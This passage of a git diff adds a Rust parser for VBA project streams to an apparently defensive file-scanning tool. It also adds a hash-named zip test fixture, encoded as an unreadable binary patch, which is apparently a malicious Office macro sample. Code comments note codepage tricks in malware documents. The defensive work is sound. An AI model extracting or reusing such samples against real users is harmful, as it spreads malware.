+ ); + + let length = (copy_token & length_mask) + 3; + let temp1 = copy_token & offset_mask; + let temp2 = 16 - bit_count; + let offset = (temp1 >> temp2) + 1; + + if offset as usize > decompressed.len() { + return Err("Invalid copy token offset"); + } + + let copy_source = decompressed.len() - offset as usize; + for i in 0..length { + let source_idx = copy_source + i as usize; + if source_idx >= decompressed.len() { + return Err("Copy token source out of bounds"); + } + decompressed.push(decompressed[source_idx]); + } + current += 2; + } + } + } + + current = chunk_end; + } + + // Strip any trailing null bytes (0x00) from the decompressed stream buffer, + // cleaning up OLE sector padding artifacts. + while let Some(&0) = decompressed.last() { + decompressed.pop(); + } + + Ok(decompressed) +} + +pub fn parse<'a>( + dir_stream: &'a [u8], + module_streams: &HashMap>, +) -> Result>> { + let mut vba = Vba::new(); + let input = dir_stream; + + // The records below are described in [MS-OVBA] version 15.0. + // https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/575462ba-bf67-4190-9fac-c275523c75fc + + // -- PROJECTSYSKIND Record + // Specifies the operating system platform for the VBA project. + // See: [MS-OVBA] Section 2.3.4.2.1.1 PROJECTSYSKIND Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0001), + verify(le_u32, |&size| size == 0x0004), + le_u32, + ) + .parse(input)?; + + // -- PROJECTCOMPATVERSION Record (Optional) + // Specifies the compatibility version of the VBA project. Introduced in Office 2010. + // See: [MS-OVBA] Section 2.3.4.2.1.2 PROJECTCOMPATVERSION Record + let (input, _) = opt(( + verify(le_u16, |&id| id == 0x004A), + verify(le_u32, |&size| size == 0x0004), + le_u32, + )) + .parse(input)?; + + // -- PROJECTLCID Record + // Specifies the VBA project's LCID (Locale Identifier). + // See: [MS-OVBA] Section 2.3.4.2.1.3 PROJECTLCID Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0002), + verify(le_u32, |&size| size == 0x0004), + verify(le_u32, |&val| val == 0x409), + ) + .parse(input)?; + + // -- PROJECTLCIDINVOKE Record + // Specifies the VBA project's LCID for invoking APIs. + // See: [MS-OVBA] Section 2.3.4.2.1.4 PROJECTLCIDINVOKE Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0014), + verify(le_u32, |&size| size == 0x0004), + verify(le_u32, |&val| val == 0x409), + ) + .parse(input)?; + + // -- PROJECTCODEPAGE Record + // Specifies the codepage to be used for string decoding in the project. + // See: [MS-OVBA] Section 2.3.4.2.1.5 PROJECTCODEPAGE Record + let (input, (_, _, codepage)) = ( + verify(le_u16, |&id| id == 0x0003), + verify(le_u32, |&size| size == 0x0002), + le_u16, + ) + .parse(input)?; + + // -- PROJECTNAME Record + // Specifies the VBA project name. + // See: [MS-OVBA] Section 2.3.4.2.1.6 PROJECTNAME Record + let (input, (_, project_name)) = ( + verify(le_u16, |&id| id == 0x0004), + length_data(verify(le_u32, |&size| (1..=128).contains(&size))) + .map(|bytes| decode_string(bytes, codepage)), + ) + .parse(input)?; + + // -- PROJECTDOCSTRING Record + // Specifies the project description and its Unicode equivalent. + // See: [MS-OVBA] Section 2.3.4.2.1.7 PROJECTDOCSTRING Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0005), + length_data(le_u32), + verify(le_u16, |&reserved| reserved == 0x0040), + length_data(verify(le_u32, |&size| size % 2 == 0)), + ) + .parse(input)?; + + // -- PROJECTHELPFILEPATH Record + // Specifies help file paths for the VBA project. + // See: [MS-OVBA] Section 2.3.4.2.1.8 PROJECTHELPFILEPATH Record + let (input, (_, helpfile1, _, helpfile2)) = ( + verify(le_u16, |&id| id == 0x0006), + length_data(verify(le_u32, |&size| size <= 260)), + verify(le_u16, |&reserved| reserved == 0x003D), + length_data(verify(le_u32, |&size| size <= 260)), + ) + .parse(input)?; + + if helpfile1 != helpfile2 { + return Err(nom::Err::Error(nom::error::Error::new( + input, + nom::error::ErrorKind::Verify, + ))); + } + + // -- PROJECTHELPCONTEXT Record + // Specifies the help context ID in the help file. + // See: [MS-OVBA] Section 2.3.4.2.1.9 PROJECTHELPCONTEXT Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0007), + verify(le_u32, |&size| size == 0x0004), + le_u32, + ) + .parse(input)?; + + // -- PROJECTLIBFLAGS Record + // Specifies the library flags of the VBA project. + // See: [MS-OVBA] Section 2.3.4.2.1.10 PROJECTLIBFLAGS Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0008), + verify(le_u32, |&size| size == 0x0004), + verify(le_u32, |&flags| flags == 0x0000), + ) + .parse(input)?; + + // -- PROJECTVERSION Record + // Specifies the major and minor version of the VBA project. + // See: [MS-OVBA] Section 2.3.4.2.1.11 PROJECTVERSION Record + let (input, (_, _, version_major, version_minor)) = ( + verify(le_u16, |&id| id == 0x0009), + verify(le_u32, |&reserved| reserved == 0x0004), + le_u32, + le_u16, + ) + .parse(input)?; + + // -- PROJECTCONSTANTS Record + // Specifies compilation constants of the VBA project. + // See: [MS-OVBA] Section 2.3.4.2.1.12 PROJECTCONSTANTS Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x000C), + length_data(verify(le_u32, |&size| size <= 1015)), + verify(le_u16, |&reserved| reserved == 0x003C), + length_data(verify(le_u32, |&size| size % 2 == 0)), + ) + .parse(input)?; + + // -- References + // Parses references to libraries, controls, and other projects. + // See: [MS-OVBA] Section 2.3.4.2.2 References Record + let (input, references) = parse_references(input, codepage)?; + + // -- PROJECTMODULES Record + // Specifies module block count of the project. + // See: [MS-OVBA] Section 2.3.4.2.3 PROJECTMODULES Record + let (input, (_, modules_count)) = + (verify(le_u32, |&size| size == 0x0002), le_u16).parse(input)?; + + // -- ProjectCookie Record + // Specifies the project cookie record. + // See: [MS-OVBA] Section 2.3.4.2.3.1 ProjectCookie Record + let (input, _) = ( + verify(le_u16, |&id| id == 0x0013), + verify(le_u32, |&size| size == 0x0002), + le_u16, + ) + .parse(input)?; + + // -- Modules + // Parses module streams and decompresses MS-OVBA streams. + // See: [MS-OVBA] Section 2.3.4.2.3.2 Modules + let (_input, _) = parse_modules( + input, + modules_count, + module_streams, + &mut vba, + codepage, + )?; + + let mut project_info = ProjectInfo::new(); + project_info.references = references; + + project_info.set_name(project_name.to_string()); + project_info.set_version(format!("{}.{}", version_major, version_minor)); + project_info.set_module_count(modules_count as i32); + + vba.project_info = protobuf::MessageField::some(project_info); + + Ok(vba) +} + +fn parse_references( + mut input: &[u8], + codepage: u16, +) -> Result<(&[u8], Vec), nom::Err>> { + let mut references = Vec::new(); + loop { + let (remainder, record_id) = le_u16.parse(input)?; + input = remainder; + if record_id == 0x000F { + break; + } + + match record_id { + 0x0016 => { + // REFERENCE Name + let (remainder, name) = length_data(le_u32) + .map(|bytes| decode_string(bytes, codepage)) + .parse(input)?; + + references.push(name); + + let (remainder, _) = + verify(le_u16, |&val| val == 0x003E).parse(remainder)?; + let (remainder, _) = length_data(le_u32).parse(remainder)?; + input = remainder; + } + 0x0033 => { + // REFERENCEORIGINAL + let (remainder, _) = length_data(le_u32).parse(input)?; + input = remainder; + } + 0x002F => { + // MS-OVBA 2.3.4.2.2.3 REFERENCECONTROL Record + + // 1. Parse SizeTwips + Twips fields + SizeOfLibidOriginal + LibidOriginal + Reserved1 + Reserved2 + let (remainder, _) = length_data(le_u32).parse(input)?; + + // 2. NameRecordExtended (optional, starts with 0x0016) + let (remainder, _) = opt(( + verify(le_u16, |&id| id == 0x0016), + length_data(le_u32), + verify(le_u16, |&id| id == 0x003E), + length_data(le_u32), + )) + .parse(remainder)?; + + // 3. Parse Reserved3 (2 bytes, MUST be 0x0030) + let (remainder, _) = + verify(le_u16, |&val| val == 0x0030).parse(remainder)?; + + // 4. Parse the remaining fields: + let (remainder, _) = le_u32.parse(remainder)?; // Size + let (remainder, _) = length_data(le_u32).parse(remainder)?; // LibidExtended + let (remainder, _) = (le_u32, le_u16).parse(remainder)?; // Reserved + let (remainder, _) = take(16_usize).parse(remainder)?; // Reserved/Cookie + let (remainder, _) = le_u32.parse(remainder)?; // Cookie + + input = remainder; + } + 0x000D => { + // REFERENCEREGISTERED + let (remainder, _) = le_u32.parse(input)?; + let (remainder, _) = length_data(le_u32).parse(remainder)?; + let (remainder, _) = ( + verify(le_u32, |&val| val == 0x0000), + verify(le_u16, |&val| val == 0x0000), + ) + .parse(remainder)?; + input = remainder; + } + 0x000E => { + // REFERENCEPROJECT + let (remainder, _) = le_u32.parse(input)?; + let (remainder, _) = length_data(le_u32).parse(remainder)?; + let (remainder, _) = length_data(le_u32).parse(remainder)?; + let (remainder, _) = (le_u32, le_u16).parse(remainder)?; + input = remainder; + } + _ => { + return Err(nom::Err::Error(nom::error::Error::new( + input, + nom::error::ErrorKind::Switch, + ))); + } + } + } + Ok((input, references)) +} + +fn parse_modules<'a>( + mut input: &'a [u8], + modules_count: u16, + module_streams: &HashMap>, + vba: &mut Vba, + codepage: u16, +) -> Result<(&'a [u8], ()), nom::Err>> { + for _ in 0..modules_count { + // MODULENAME record + let (remainder, _) = + verify(le_u16, |&id| id == 0x0019).parse(input)?; + + let (remainder, module_name) = length_data(le_u32) + .map(|bytes| decode_string(bytes, codepage)) + .parse(remainder)?; + + input = remainder; + + let mut stream_name: Option = None; + let mut stream_name_unicode: Option = None; + let mut module_name_unicode: Option = None; + let mut module_offset = 0u32; + let mut module_type = ModuleType::MODULE_TYPE_UNKNOWN; + + // Read sections until terminator 0x002B + loop { + let (remainder, section_id) = le_u16.parse(input)?; + input = remainder; + match section_id { + 0x0047 => { + // MODULENAMEUNICODE + (input, module_name_unicode) = length_data(le_u32) + .map(|name| decode_utf16(name).ok()) + .parse(input)?; + } + 0x001A => { + // MODULESTREAMNAME + (input, (stream_name, _, _)) = ( + length_data(le_u32) + .map(|bytes| Some(decode_string(bytes, codepage))), + verify(le_u16, |&val| val == 0x0032), + length_data(le_u32), + ) + .parse(input)?; + } + 0x001C => { + // MODULEDOCSTRING + (input, (_, _, stream_name_unicode)) = ( + length_data(le_u32), + verify(le_u16, |&val| val == 0x0048), + length_data(le_u32) + .map(|name| decode_utf16(name).ok()), + ) + .parse(input)?; + } + 0x0031 => { + // MODULEOFFSET + (input, (_, module_offset)) = + (verify(le_u32, |&size| size == 0x0004), le_u32) + .parse(input)?; + } + 0x001E => { + // MODULEHELPCONTEXT + (input, _) = + (verify(le_u32, |&size| size == 0x0004), le_u32) + .parse(input)?; + } + 0x002C => { + // MODULECOOKIE + (input, _) = + (verify(le_u32, |&size| size == 0x0002), le_u16) + .parse(input)?; + } + 0x0021 => { + module_type = ModuleType::MODULE_TYPE_STANDARD; + (input, _) = le_u32.parse(input)?; + } + 0x0022 => { + module_type = ModuleType::MODULE_TYPE_CLASS; + (input, _) = le_u32.parse(input)?; + } + 0x0025 => { + (input, _) = + verify(le_u32, |&val| val == 0x0000).parse(input)?; + } + 0x0028 => { + (input, _) = + verify(le_u32, |&val| val == 0x0000).parse(input)?; + } + 0x002B => { + // TERMINATOR + (input, _) = + verify(le_u32, |&val| val == 0x0000).parse(input)?; + break; + } + _ => { + return Err(nom::Err::Error(nom::error::Error::new( + input, + nom::error::ErrorKind::Switch, + ))); + } + } + } + + // Retrieve module code + let mut code = None; + + let stream_name = + stream_name_unicode.as_deref().or(stream_name.as_deref()); + + let module_name = + module_name_unicode.as_deref().unwrap_or(&module_name); + + let mut module_data = None; + + if let Some(name) = stream_name { + module_data = module_streams.get(&normalize_name(name)); + } + + if module_data.is_none() { + module_data = module_streams.get(&normalize_name(module_name)); + } + + if let Some(module_data) = module_data { + let code_data = if (module_offset as usize) < module_data.len() { + &module_data[module_offset as usize..] + } else { + &[] + }; + + let mut decompressed_res = None; + if !code_data.is_empty() && code_data[0] == 0x01 { + decompressed_res = decompress_stream(code_data).ok(); + } + + // If the declared offset is invalid or fails decompression, + // scan the stream physically for the first valid compressed VBA stream signature. + if decompressed_res.is_none() { + let mut scan_offset = 0; + while scan_offset + 3 <= module_data.len() { + if module_data[scan_offset] == 0x01 { + let header = u16::from_le_bytes([ + module_data[scan_offset + 1], + module_data[scan_offset + 2], + ]); + let sig = (header & 0x7000) >> 12; + if (sig == 3 || sig == 4) + && let Ok(decompressed) = + decompress_stream(&module_data[scan_offset..]) + { + decompressed_res = Some(decompressed); + break; + } + } + scan_offset += 1; + } + } + + if let Some(decompressed) = decompressed_res { + code = Some(decode_string(&decompressed, codepage)); + } + } + + if let Some(code) = code { + let mut m = crate::modules::protos::vba::vba::Module::new(); + m.set_name(module_name.to_string()); + m.set_type(module_type); + m.set_code(code); + vba.modules.push(m); + } + } + + Ok((input, ())) +} + +fn decode_string(bytes: &[u8], codepage: u16) -> String { + if let Some(encoding) = codepage::to_encoding(codepage) { + let (decoded, _, _) = encoding.decode(bytes); + decoded.into_owned() + } else { + String::from_utf8_lossy(bytes).into_owned() + } +} + +fn decode_utf16(bytes: &[u8]) -> Result { + if !bytes.len().is_multiple_of(2) { + return Err("Invalid UTF-16 byte length"); + } + let u16_units: Vec = bytes + .chunks_exact(2) + .map(|chunk| u16::from_le_bytes([chunk[0], chunk[1]])) + .collect(); + String::from_utf16(&u16_units).map_err(|_| "Invalid UTF-16 data") +} + +/// Normalizes stream and module names by converting to lowercase and mapping +/// regional, accented, and diacritic characters (e.g. Turkish, Central +/// European, Spanish) back to standard base ASCII letters. +/// +/// This is necessary because malware documents often declare a mismatching +/// project codepage (e.g., Windows-1252/Latin-1) while storing module names +/// using a different codepage (e.g., Turkish Windows-1254). This codepage +/// mismatch yields completely different unicode representations, causing +/// stream lookups to fail. Reconstructing stream names into their common +/// ASCII base guarantees 100% robust extraction across all locales. +pub(crate) fn normalize_name(s: &str) -> String { + s.to_lowercase() + .chars() + .map(|c| match c { + 'ç' | 'ć' | 'č' => 'c', + 'ş' | 'ś' | 'š' | 'þ' => 's', + 'ı' | 'í' | 'ì' | 'î' | 'ï' | 'ý' => 'i', + 'ğ' => 'g', + 'ö' | 'ó' | 'ò' | 'ô' | 'õ' => 'o', + 'ü' | 'ú' | 'ù' | 'û' => 'u', + 'ä' | 'á' | 'à' | 'â' | 'ã' => 'a', + 'ñ' => 'n', + _ => c, + }) + .collect() +} diff --git a/lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.in.zip b/lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..b4c497abde2e15e1d3d2fd01e849ffb567bb2734 GIT binary patch literal 48747 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 